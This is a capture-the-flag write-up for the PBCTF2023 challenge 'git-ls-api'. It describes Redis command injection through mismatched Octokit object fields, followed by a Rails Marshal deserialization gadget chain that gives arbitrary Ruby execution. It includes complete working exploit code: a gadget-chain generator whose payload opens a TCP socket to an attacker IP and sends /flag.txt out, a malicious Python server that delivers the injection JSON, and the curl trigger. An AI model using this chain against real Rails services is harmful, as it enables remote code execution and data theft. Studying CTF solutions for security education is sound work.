PBCTF2023 git-ls-api
We are given the source to a simple service which displays the SHA hash and file list for a github project. We can also provide an api_endpoint and it will retrieve from our host instead.
the index endpoint invokes octokit to retrieve the SHA and tree of the target repo. While searching the net to understand how Octokit works, I found a gitlab bug where the importer could be hijacked via improper passing of a SawyerResource object to a caching function. The bug in this challenge wound up being almost identical, but using the built in rails redis cacher rather than being in gitlab’s methods.
The redis command serializer assumes that it will receive a normal flat bytelike or string object, and uses to_s to get the value and bytesize to compute the length. SawyerResource objects are automagic structs produced directly from our input JSON, so we can set those to mismatch when constructing the RESP command string (it doesn’t check that it’s the builtin bytesize method and not just a field on the input). This lets us inject redis commands directly by using something like:
exploit = {"sha": {"to_s": { "to_s": { "to_s": { "b":{
"to_s":f"AA\r\n$2\r\nPX\r\n$2\r\n10\r\n*5\r\n$3\r\nset\r\n${len(target)}\r\n{target}\r\n${len(payload)}\r\n{payload}\r\n$2\r\nPX\r\n$6\r\n300000\r\n",
"bytesize":2
}}}}},"tree": [{"path":"pwnedbyPFS"}]}
The serializer will process the length of the innermost string as 2 but insert the entire string into the command. By completing the remaining fields as part of our input, then starting a new command with the * character, we can inject additional commands. Here, I’m invoking a set command. Once we have command injection, we still need some way of gaining additional control to read the flag from disk.
The redis connector is invoked with raw: True for both directly controlled fields, but there’s a third value stored for every connection which doesn’t have that
def session
Rails.cache.fetch(session_id, expires_in: 5.minutes) do
{ created_at: DateTime.now }
end.to_json
end
Values fetched without raw: True will be unmarshalled, leading to a classic ruby unmarshalling exploit. We can use redis injection to set our session_id in the redis server to controlled data, then trigger it to be unmarshalled.
I wasted a ton of time once I got to this point, but I didn’t really know what I was doing. I’ll try to explain ruby unmarshalling best I can, but there are numerous other resources worth reading.
Ruby unmarshalling exploits require a “gadget chain” (somewhat analogous to ROP chaining, i.e., reusing existing code). When unmarshalling an object, ruby will invoke the marshal_load and _load. There are nuanced differences between the two, for more info check this link. A typical ruby gadget chain will start with an object which has a marshal_load implementation, although from my research, increasingly many exploit chains utilize more complex gadgets or indirect effects rather than directly using marshal_load. Whatever the initial mechanism, the general technique is to utilize ruby class which, when unmarshalled, allows you to invoke other useful functions (e.g., by setting the value of a member variable which will be invoked). Ultimately, you want to invoke a sink function which gets arbitrary ruby execution, or other behavior (e.g. shell execution) as determined by the constraints of your expoit.
I was able to replicate a few different gadget options I found online to kick off the chain. The easiest wound up being the ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy gadget. This gadget lets us invoke any method (without arguments) on any class. I will briefly describe the DeprecatedInstanceVariableProxy gadget, but definately read the source and check out other writeups for more information.
The DeprecatedInstanceVariableProxy implements method_missing which will be invoked when any unfound method is called on the class:
def method_missing(called, *args, &block)
@deprecator.warn(@message, caller_locations)
target.__send__(called, *args, &block)
end
Target is implemented as:
class DeprecatedInstanceVariableProxy < DeprecationProxy
def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
@instance = instance
@method = method
@var = var
@deprecator = deprecator
end
private
def target
@instance.__send__(@method)
end
def warn(callstack, called, args)
@deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
end
end
By setting @method and @instance, we can invoke any function on any class. We instantiate the deprecator as follows:
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set(:@instance, CLASS)
depr.instance_variable_set(:@method, :METHOD)
depr.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@var, "@METHOD")
d2 = ActiveSupport::Deprecation.new
d2.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@deprecator, d2)
Replacing CLASS with an instance of our target class, and METHOD with our target method, we can invoke CLASS.METHOD. Note that the target method must have no arguments.
At this point, I had to go digging, as all of the sink function I’ve seen people mention have been patched (e.g., ActiveModel::AttributeMethods::ClassMethods::CodeGenerator).
I discovered ActiveSupport::CodeGenerator::MethodSet, which has a function apply which calls module_eval on an instance variable (very similar to how the DIVP gadget has been used before)
def apply(owner, path, line)
unless @sources.empty?
@cache.module_eval("# frozen_string_literal: true\n" + @sources.join(";"), path, line)
end
@methods.each do |name, as|
owner.define_method(name, @cache.instance_method(as))
end
end
We can’t invoke the apply method directly (as it requires three arguments), but examining the surrounding code we can instantiate an ActiveSupport::CodeGenerator and it’s child MethodSet and invoke execute on the CodeGenerator:
def execute
@namespaces.each_value do |method_set|
method_set.apply(@owner, @path, @line - 1)
end
end
From here, exploitation is simple, as we have arbitrary ruby. I chose to open a TCP connection to my host, and dump the flag out, rather than trying to inject it into the HTTP response or invoking shell commands.
Here’s my code to generate the payload:
class ActiveSupport
class Deprecation
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method
end
end
end
class CodeGenerator
class MethodSet
METHOD_CACHES = Hash.new
def initialize(instance, method)
@instance = instance
@method = method
end
end
end
end
methodset = ActiveSupport::CodeGenerator::MethodSet.allocate
methodset.instance_variable_set(:@sources, ["f=TCPSocket.open(\"IP_ADDRESS_HERE\",1234)", "t=File.read(\"/flag.txt\")", "f.puts(t)"]) #;
methodset.instance_variable_set(:@cache, Module.class)
codegen = ActiveSupport::CodeGenerator.allocate
codegen.instance_variable_set(:@owner, "OWNER")
codegen.instance_variable_set(:@path, "PATH")
codegen.instance_variable_set(:@line, 1)
codegen.instance_variable_set(:@namespaces, {"1"=>methodset})
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set(:@instance, codegen)
depr.instance_variable_set(:@method, :execute)
depr.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@var, "@execute")
d2 = ActiveSupport::Deprecation.new
d2.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@deprecator, d2)
Marshal.dump(depr)
I host it with python and invoke the server twice with curl. The first invokation sets the session variable in the redis cache, and the second causes it to be unmarshalled.
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
import json
payload = "put_payload_here"
target = "put_sessionID_here"
exploit = {"sha": {"to_s": { "to_s": { "to_s": { "b":{
"to_s":f"AA\r\n$2\r\nPX\r\n$2\r\n10\r\n*5\r\n$3\r\nset\r\n${len(target)}\r\n{target}\r\n${len(payload)}\r\n{payload}\r\n$2\r\nPX\r\n$6\r\n300000\r\n",
"bytesize":2
}}}}},"tree": [{"path":"pwnedbyPFS"}]}
pwn = json.dumps(exploit).encode("utf-8")
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse(self.path)
self.send_response(200)
self.send_header('Content-type', 'application/vnd.github.v3+json')
self.end_headers()
self.wfile.write(pwn)
return
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 80), RequestHandler)
server.serve_forever()
curl -vv -c -b "./cookie" --path-as-is http://git-ls-api.chal.perfect.blue/a/B?api_endpoint=http://your_endpoint.net